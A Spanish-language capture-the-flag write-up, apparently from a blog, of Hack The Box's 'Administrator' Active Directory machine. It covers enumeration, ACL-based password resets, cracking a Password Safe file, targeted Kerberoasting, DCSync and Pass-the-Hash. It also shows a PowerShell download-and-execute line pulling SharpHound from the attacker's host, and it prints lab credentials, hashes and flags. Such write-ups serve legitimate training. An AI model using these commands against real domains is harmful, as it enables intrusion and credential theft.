the_open_door
café
ESEN

Administrator

HackTheBoxMediaWindows10.10.11.42

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#acl-abuse#bloodhound#genericall#forcechangepassword#genericwrite#kerberoasting#dcsync#pass-the-hash#password-safe
TL;DR. Administrator es una máquina de Active Directory puro. Partimos de unas credenciales que nos entrega Hack The Box y, con ellas, recogemos el dominio en BloodHound. A partir de ahí recorremos una cadena de ACLs: GenericAll y ForceChangePassword nos dejan resetear la contraseña de otros usuarios, un Password Safe (.psafe3) escondido en un FTP nos entrega más credenciales, GenericWrite habilita un Kerberoasting dirigido y, por último, GetChanges/GetChangesAll nos permiten un DCSync para volcar los hashes del dominio y entrar como Administrator con Pass-the-Hash. No hace falta ni un solo CVE: todo es abuso de permisos mal puestos.

Reconocimiento

Escaneo inicial

Antes de escanear nada lanzamos un ping y miramos el TTL, que da una pista rápida de la familia del sistema operativo: valores de hasta ~64 suelen ser Linux y de ~128, Windows.

ping -c 1 10.10.11.42

Respuesta del ping con TTL 127

PING 10.10.11.42 (10.10.11.42) 56(84) bytes of data.
64 bytes from 10.10.11.42: icmp_seq=1 ttl=127 time=145 ms

El TTL vuelve en 127, un salto por debajo del 128 típico de Windows (cada salto intermedio lo va decrementando), así que apunta a Windows: es un indicio, no una confirmación, y lo cerramos con el escaneo de servicios. Lanzamos un escaneo SYN a todos los puertos, con un --min-rate alto para que vaya rápido, y guardamos la salida en formato grepeable para reutilizar la lista de puertos abiertos:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.42

escaneo TCP -p- con la superficie completa de un DC (ftp, kerberos, ldap, smb, winrm...) con ttl 127

PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
...

El conjunto de servicios habla por sí solo: Kerberos (88), LDAP (389/636) con su catálogo global (3268/3269), kpasswd (464), ADWS (9389) y SMB (445). Es un Controlador de Dominio de Active Directory. Dos detalles para anotar:

  • FTP (21) no es nada habitual en un DC. Es candidato claro a esconder algo, así que habrá que volver con credenciales.
  • WinRM (5985 y 47001) está abierto: si conseguimos credenciales válidas, tendremos shell directamente, sin exploits.

Copiar a mano veinticuatro puertos del -oG es la forma más rápida de equivocarse, así que la lista se extrae con extractPorts, una función del .zshrc que peina el fichero grepeable y deja los puertos listos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.11.42 y los veinticuatro puertos abiertos, copiados al portapapeles

Extracting information ...

IP Address: 10.10.11.42
Open ports: 21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,51077,51082,51089,51094,51107,57072

Ports copied to clipboard

Un segundo escaneo identifica versiones y lanza los scripts por defecto sobre los puertos abiertos:

nmap -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV 10.10.11.42

Escaneo de versiones y scripts de nmap

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-13 23:06:09Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Lo importante: el FTP es Microsoft ftpd y, sobre todo, el banner de LDAP filtra el nombre de dominio, administrator.htb, y el hostname del DC, DC. El SO confirma lo que intuíamos por el TTL: Windows Server 2022. Para cerrar el reconocimiento de servicios, repasamos los principales puertos UDP:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.42 | grep -v 'no-response'

Escaneo UDP con DNS, Kerberos y NTP

PORT    STATE SERVICE      REASON
53/udp  open  domain       udp-response ttl 127
88/udp  open  kerberos-sec udp-response ttl 127
123/udp open  ntp          udp-response ttl 127

Aparecen 53 (DNS), 88 (Kerberos) y 123 (NTP), otra vez la firma de Active Directory. El NTP es un aviso: Kerberos es muy sensible al desfase horario, así que habrá que sincronizar el reloj con el DC antes de cualquier ataque sobre el puerto 88.

DNS - TCP 53

El dominio que ha filtrado el banner de LDAP no lo resuelve nadie todavía: la máquina es el propio DNS del dominio, pero nuestro resolvedor no apunta a ella. Lo primero es añadirlo al /etc/hosts:

sudo nano /etc/hosts
cat /etc/hosts

el /etc/hosts editado con nano y su contenido, con la línea 10.10.11.42 administrator.htb al final

127.0.0.1       localhost
127.0.1.1       kali
...
10.10.11.42 administrator.htb

Con el nombre ya resoluble, enumeramos los registros DNS por si hay más nombres:

dig NS administrator.htb @10.10.11.42

Registro NS apuntando a dc.administrator.htb

;; ANSWER SECTION:
administrator.htb.      3600  IN  NS  dc.administrator.htb.

;; ADDITIONAL SECTION:
dc.administrator.htb.   3600  IN  A   10.10.11.42

El registro NS devuelve dc.administrator.htb, el FQDN del Controlador de Dominio. Lo añadimos también al /etc/hosts para resolver por las dos vías:

/etc/hosts con 10.10.11.42 administrator.htb dc.administrator.htb

10.10.11.42  administrator.htb dc.administrator.htb

SMB - TCP 445

Antes de tener credenciales probamos una sesión NULL sobre SMB, por si suelta información:

netexec smb 10.10.11.42 -u '' -p ''

Sesión NULL contra SMB

SMB  10.10.11.42  445  DC  [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB  10.10.11.42  445  DC  [+] administrator.htb\:

La sesión nula llega a aceptarse (el [+]), pero solo confirma el build, el nombre del equipo (DC) y que el firmado SMB es obligatorio. No suelta nada aprovechable, ni recursos compartidos ni usuarios, así que la enumeración sin credenciales se queda aquí.

Credenciales iniciales

Esta máquina busca parecerse a un pentest real, donde es muy común empezar con unas credenciales de bajo privilegio ya entregadas. Hack The Box nos da olivia:ichliebedich. Lo primero con cualquier credencial es comprobar dónde es válida:

netexec smb   10.10.11.42 -u 'olivia' -p 'ichliebedich'
netexec winrm 10.10.11.42 -u 'olivia' -p 'ichliebedich'
SMB    10.10.11.42  445   DC  [+] administrator.htb\olivia:ichliebedich
WINRM  10.10.11.42  5985  DC  [+] administrator.htb\olivia:ichliebedich (Pwn3d!)

Son válidas en SMB y, mejor todavía, WinRM responde con (Pwn3d!): Olivia puede abrir una shell remota. Antes de lanzarnos a por ella, aprovechamos el acceso a SMB para enumerar los usuarios:

netexec smb 10.10.11.42 -u 'olivia' -p 'ichliebedich' --users

Usuarios del dominio enumerados por SMB

-Username-     -Last PW Set-        -BadPW- -Description-
Administrator  2024-10-22 18:59:36  38      Built-in account for administering the computer/domain
Guest          <never>              37      Built-in account for guest access to the computer/domain
krbtgt         2024-10-04 19:53:28  0       Key Distribution Center Service Account
olivia         2024-10-06 01:22:48  0
michael        2024-10-06 01:33:37  0
benjamin       2024-10-06 01:34:56  0
emily          2024-10-30 23:40:02  0
ethan          2024-10-12 20:52:14  0
alexander      2024-10-31 00:18:04  0
emma           2024-10-31 00:18:35  0
[*] Enumerated 10 local users: ADMINISTRATOR

Guardamos la lista en un fichero, que nos hará falta para el spray y el AS-REP Roasting:

netexec smb 10.10.11.42 -u 'olivia' -p 'ichliebedich' --users | awk '{print $5}' | tail -n +4 | head -n -1 > users.txt
cat users.txt

La lista de usuarios guardada en users.txt tras filtrar la salida de netexec

Administrator
Guest
krbtgt
olivia
michael
benjamin
emily
ethan
alexander
emma

Spraying y AS-REP Roasting (sin éxito)

Con una contraseña válida en la mano, lo barato es comprobar si alguien más la reutiliza. Un spray rápido del dominio con la contraseña de Olivia (en un entorno real revisaríamos antes la política de bloqueo de cuentas para no candar a nadie; en el laboratorio no hay ese riesgo):

netexec smb 10.10.11.42 -u users.txt -p 'ichliebedich' --continue-on-success

Password spraying sin reutilización

SMB  10.10.11.42  445  DC  [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB  10.10.11.42  445  DC  [-] administrator.htb\Administrator:ichliebedich STATUS_LOGON_FAILURE
SMB  10.10.11.42  445  DC  [-] administrator.htb\Guest:ichliebedich STATUS_LOGON_FAILURE
SMB  10.10.11.42  445  DC  [-] administrator.htb\krbtgt:ichliebedich STATUS_LOGON_FAILURE
SMB  10.10.11.42  445  DC  [+] administrator.htb\olivia:ichliebedich
SMB  10.10.11.42  445  DC  [-] administrator.htb\michael:ichliebedich STATUS_LOGON_FAILURE
...
SMB  10.10.11.42  445  DC  [-] administrator.htb\emma:ichliebedich STATUS_LOGON_FAILURE

No hay reutilización: solo valida la propia Olivia. Probamos entonces a buscar cuentas sin pre-autenticación de Kerberos, que nos dejarían pedir su TGT y crackearlo offline. Como Kerberos depende del reloj, primero sincronizamos con el DC:

ntpdate administrator.htb
GetNPUsers.py administrator.htb/ -no-pass -usersfile users.txt

AS-REP Roasting sin cuentas vulnerables

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User olivia doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User michael doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User benjamin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User emily doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ethan doesn't have UF_DONT_REQUIRE_PREAUTH set

Ninguna cuenta suelta su ticket, así que ambos vectores quedan cerrados. Toca tirar del acceso que sí tenemos.

Shell como olivia

Las credenciales de Olivia valen para WinRM, así que abrimos una sesión de PowerShell con evil-winrm:

evil-winrm -i 10.10.11.42 -u 'olivia' -p 'ichliebedich'

Sesión de PowerShell como olivia

Evil-WinRM shell v3.7
...
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\olivia\Documents>

Olivia pertenece a Remote Management Users (de ahí el WinRM), pero su carpeta personal y el sistema de ficheros no esconden nada interesante. El verdadero terreno de juego aquí es el propio dominio, así que pasamos a mapearlo.

BloodHound

Recolección

Recogemos los datos de Active Directory con SharpHound (repo) desde la propia sesión y nos descargamos el .zip resultante:

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.6/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All
download 20251114112509_BloodHound.zip

Recolección con SharpHound

*Evil-WinRM* PS C:\Users\olivia\Documents> dir

    Directory: C:\Users\olivia\Documents

Mode    LastWriteTime          Length Name
----    -------------          ------ ----
-a---   11/14/2025  11:25 AM     9339 20251114112509_BloodHound.zip
...
*Evil-WinRM* PS C:\Users\olivia\Documents> download 20251114112509_BloodHound.zip
Info: Downloading C:\Users\olivia\Documents\20251114112509_BloodHound.zip to 20251114112509_BloodHound.zip
Info: Download successful!

En la máquina atacante hay un paso previo que no aparece en ningún writeup y que hace perder media hora: BloodHound (el legacy, el de Electron) no arranca con Java 21, que es el que Kali trae por defecto. Hay que bajar la alternativa a Java 11 antes de nada:

sudo update-alternatives --config java

update-alternatives lista las dos alternativas de java, la 21 en auto y la 11, y se selecciona la opción 1

There are 2 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                          Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-21-openjdk-amd64/bin/java    2111      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java    1111      manual mode
  2            /usr/lib/jvm/java-21-openjdk-amd64/bin/java    2111      manual mode

Press <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/lib/jvm/java-11-openjdk-amd64/bin/java to provide /usr/bin/java in manual mode

Ahora sí, levantamos Neo4j y BloodHound:

neo4j console
bloodhound

Son dos procesos separados: neo4j es la base de datos de grafos donde se cargan los datos, y bloodhound es solo el visor, que se conecta a ella por el protocolo bolt. Por eso lo primero que pide el interfaz son las credenciales de Neo4j, no las del dominio:

la ventana de login de BloodHound pidiendo bolt://localhost:7687 y el usuario neo4j, con las dos terminales de neo4j console y bloodhound detrás

Log in to Neo4j Database
  bolt://localhost:7687
  neo4j
  ********

Con la sesión abierta, importamos el .zip:

Importando la recolección en BloodHound

Upload Data
  20251114112509_BloodHound.zip    9.3 kB   Archive

Análisis

Marcamos a Olivia como owned en BloodHound

Marcamos a Olivia como owned: una buena costumbre con cada cuenta que controlamos, porque le dice a BloodHound desde dónde partimos al calcular rutas hacia un objetivo. Acto seguido miramos su First-Degree Object Control.

Conviene entender qué mira BloodHound aquí. Cada objeto de Active Directory (usuarios, grupos, el propio dominio) lleva una DACL, la lista de control de acceso que define quién puede hacer qué sobre él. Cada entrada de esa lista es una ACE, y eso es exactamente lo que son GenericAll, ForceChangePassword o GenericWrite: permisos concedidos a un usuario sobre otro objeto. BloodHound lee esas ACEs por LDAP y las dibuja como aristas del grafo, así que toda la cadena que viene a continuación no es más que encadenar ACEs mal puestas en las DACL de unos cuantos usuarios, sin tocar un solo exploit.

Shell como michael

GenericAll: resetear la contraseña de Michael

Olivia tiene GenericAll sobre Michael:

GenericAll de Olivia sobre Michael

Ese GenericAll es una ACE en la DACL de Michael que nos da control total sobre el objeto: podríamos cambiar atributos, añadir un SPN, etc. Lo más directo para pivotar es resetear su contraseña a una que conozcamos, sin necesidad de la actual:

Set-ADAccountPassword -Identity michael -Reset -NewPassword (ConvertTo-SecureString "kmn1234" -AsPlainText -Force)

Reseteo de la contraseña de Michael

*Evil-WinRM* PS C:\Users\olivia\Documents> Set-ADAccountPassword -Identity michael -Reset -NewPassword (ConvertTo-SecureString "kmn1234" -AsPlainText -Force)
*Evil-WinRM* PS C:\Users\olivia\Documents>

Acceso por WinRM

Comprobamos que la nueva contraseña vale y abrimos shell. Michael también está en Remote Management Users, así que WinRM responde (Pwn3d!):

netexec winrm 10.10.11.42 -u 'michael' -p 'kmn1234'
evil-winrm -i 10.10.11.42 -u 'michael' -p 'kmn1234'

Shell como Michael

Evil-WinRM shell v3.7
...
*Evil-WinRM* PS C:\Users\michael\Documents> whoami
administrator\michael

Marcamos a Michael como owned y volvemos a enumerar.

Michael marcado como owned

Acceso como benjamin

ForceChangePassword: resetear la contraseña de Benjamin

Michael tiene ForceChangePassword sobre Benjamin. Como dice el nombre, deja fijar la contraseña del objetivo sin conocer la actual:

ForceChangePassword de Michael sobre Benjamin

Set-ADAccountPassword -Identity benjamin -Reset -NewPassword (ConvertTo-SecureString "benjamin123" -AsPlainText -Force)

Reseteo de la contraseña de Benjamin

*Evil-WinRM* PS C:\Users> Set-ADAccountPassword -Identity benjamin -Reset -NewPassword (ConvertTo-SecureString "benjamin123" -AsPlainText -Force)
*Evil-WinRM* PS C:\Users>

Validamos a Benjamin contra los servicios. No vale para WinRM (no está en Remote Management Users), pero sus credenciales sí abren el FTP que habíamos dejado pendiente en el escaneo.

FTP de Benjamin

ftp 10.10.11.42
# usuario benjamin / contraseña benjamin123

Fichero .psafe3 esperando en el FTP

Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:krmena): benjamin
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
10-05-24  08:13AM               952 Backup.psafe3
226 Transfer complete.
ftp> get Backup.psafe3
...
226 Transfer complete.
ftp> exit
221 Goodbye.

Dentro hay un único fichero, Backup.psafe3. Es la base de datos de un Password Safe (gestor de contraseñas parecido a KeePass), protegida con una contraseña maestra.

Crackear el .psafe3

No podemos abrir el almacén todavía, pero sí extraer el hash de su contraseña maestra y crackearlo offline:

pwsafe2john Backup.psafe3 > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Crackeo de la contraseña maestra con john

Backu:$pwsafe$*3*4ff588b74906263ad2abba592aba35d58bcd3a57e307bf79c8479dec6b3149aa*2048*1a941c10167252410ae04b7b43753aaedb4ec63e3f18c646bb084ec4f0944050

Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
tekieromucho     (Backu)
1g 0:00:00:00 DONE (2025-11-14 14:11) ...
Session completed.

La contraseña maestra es tekieromucho.

Shell como emily

Abrir el Password Safe

Con la contraseña maestra abrimos el Password Safe:

pwsafe Backup.psafe3

Almacén de Password Safe abierto

Password Safe  V1.22  -  Master Password Entry
Password Database: Backup.psafe3
Master Password:   tekieromucho
[ ] Open as read-only        [ Cancel ]   [ OK ]

Credenciales guardadas dentro del almacén

Hay tres entradas: alexander, emily y emma. Las cruzamos con la lista de usuarios y, de las tres, Emily es la que está en Remote Management Users, así que será nuestra vía de shell.

Flag de usuario

La entrada de Emily en el almacén guarda su contraseña, UXLCI5iETUsIBoFVTj8yQFKoHjXmb. La usamos para abrir shell por WinRM y leer la primera flag:

evil-winrm -i 10.10.11.42 -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

user.txt como Emily

c71c374153f26f6b29a277cf56c243cf

Acceso como ethan

GenericWrite: Kerberoasting dirigido

Enumerando a Emily en BloodHound, tiene GenericWrite sobre Ethan:

GenericWrite de Emily sobre Ethan

GenericWrite nos deja escribir atributos no protegidos del objeto, normalmente el servicePrincipalName entre ellos. Si le colgamos a Ethan un SPN inventado, lo convertimos en una cuenta de servicio y (con la cuenta habilitada y el KDC aceptando el SPN) podremos pedir su ticket (TGS), cuyo hash deriva de su contraseña. Es un Kerberoasting dirigido: nosotros creamos el SPN que vamos a rostizar.

Set-ADUser -Identity "Ethan" -Add @{servicePrincipalName="HTTP/servicio.ejemplo.com"}

SPN inventado asociado a Ethan

*Evil-WinRM* PS C:\Users\emily> Set-ADUser -Identity "Ethan" -Add @{servicePrincipalName="HTTP/servicio.ejemplo.com"}
*Evil-WinRM* PS C:\Users\emily>

Sincronizamos el reloj otra vez y pedimos el TGS con GetUserSPNs.py:

ntpdate administrator.htb
GetUserSPNs.py administrator.htb/olivia:ichliebedich -request

Solicitud del TGS de Ethan

ServicePrincipalName       Name   MemberOf  PasswordLastSet             LastLogon
-------------------------  -----  --------  --------------------------  ---------
HTTP/servicio.ejemplo.com  ethan            2024-10-12 20:52:14.117811  <never>

[-] CCache file is not found. Skipping ...
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$ef24f79404ff58d5050b11a57e3f1d14...<SNIP>...

Crackeamos el hash del ticket contra rockyou.txt:

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Crackeo del TGS de Ethan

Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
limpbizkit       (?)
1g 0:00:00:00 DONE

La contraseña de Ethan es limpbizkit. Ethan no es usuario de shell, pero quizá tenga algún permiso interesante. Lo enumeramos.

Shell como Administrator

DCSync: GetChanges + GetChangesAll

Ethan tiene GetChanges y GetChangesAll sobre el dominio:

Derechos de DCSync de Ethan

Juntos son, en esencia, los derechos que un Controlador de Dominio usa para replicarse con otro (en entornos más restringidos puede hacer falta además Replicating Directory Changes In Filtered Set). Es decir: podemos pedir una replicación completa y que el DC nos entregue el hash NT de todas las cuentas, incluida la de Administrator. Es el ataque DCSync, que secretsdump.py automatiza:

secretsdump.py administrator.htb/ethan@10.10.11.42

Volcado de hashes NT por DCSync

Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:...:::
administrator.htb\olivia:1108:...:::
administrator.htb\michael:1109:...:::
...

Pass-the-Hash

No hace falta crackear nada: nos autenticamos con el hash de Administrator usando Pass-the-Hash sobre WinRM:

evil-winrm -i 10.10.11.42 -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e'

Pass-the-Hash: evil-winrm abre una shell como Administrator con el hash NT

Ya en la sesión de Administrator, leemos la flag de root:

Shell como Administrator y root.txt

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
8ee4b51144dff8866712d7603532ed8f

Dominio comprometido. Máquina rooteada.

Cadena de ataque

Toda la ruta, de la primera credencial al hash de Administrator, en un vistazo:

olivia
  │  GenericAll  ─►  reseteamos su contraseña
  ▼
michael
  │  ForceChangePassword  ─►  reseteamos su contraseña
  ▼
benjamin
  │  FTP  ─►  backup.psafe3  ─►  john (clave maestra)  ─►  creds en Password Safe
  ▼
emily            (user.txt)
  │  GenericWrite  ─►  SPN falso  ─►  Kerberoasting dirigido  ─►  crack del TGS
  ▼
ethan
  │  GetChanges + GetChangesAll  ─►  DCSync (volcado del NTDS)
  ▼
Administrator    (root.txt)  ◄─  Pass-the-Hash sobre WinRM

Lecciones aprendidas

  • En Active Directory la superficie de ataque son las DACL, no los CVE. La cadena completa (GenericAll, ForceChangePassword, GenericWrite, GetChanges/GetChangesAll) explota ACEs concedidas sobre objetos del dominio: delegaciones puntuales que nadie revoca y que se acumulan como deuda de permisos. BloodHound colapsa ese desorden en una ruta corta de Olivia a Administrator, y exactamente el mismo grafo, ejecutado en defensa, la detecta antes de que la recorra un atacante.
  • GenericWrite sobre un usuario suele habilitar un Kerberoasting dirigido. Normalmente permite escribir servicePrincipalName y colgar un SPN arbitrario, lo que vuelve kerberoasteable a la cuenta y expone su contraseña al crackeo offline del TGS (RC4, etype 23). No es un automatismo absoluto (depende de qué atributos deje tocar la ACE y de la configuración de Kerberos), pero en la práctica es una de las vías más directas. La mitigación no es perseguir SPNs, sino contraseñas largas y aleatorias en cuentas con SPN y, donde se pueda, cuentas gestionadas (gMSA).
  • DCSync es un control de integridad del dominio, no "una credencial más". GetChanges con GetChangesAll equivalen a poder replicar el NTDS completo; con ellos cae también el hash de krbtgt, y con krbtgt vienen Golden Tickets y persistencia total. Esos derechos solo deberían estar en los propios DC y en cuentas de replicación, nunca delegados a un usuario estándar como Ethan.
  • Resetear credenciales y Pass-the-Hash evitan el texto plano. En todo el recorrido apenas se crackeó una contraseña (la maestra del .psafe3); el resto fue fijar credenciales que ya controlábamos por ACL y autenticar con el hash NT. Conviene recordar que rotar contraseñas no mitiga Pass-the-Hash: para eso hace falta acotar NTLM y segmentar privilegios (cuentas de administración separadas, tiering).
  • El dato fuera de lugar marca el pivote. Un FTP en un Controlador de Dominio, y un .psafe3 dentro, fueron el eje de toda la fase de usuario. Inventariar servicios que no encajan y revisar gestores de credenciales (Password Safe, KeePass, ficheros de backup) debería ser un paso fijo tanto en la ofensiva como en la auditoría.
Cheatsheet de comandos 23 comandos

Repaso rápido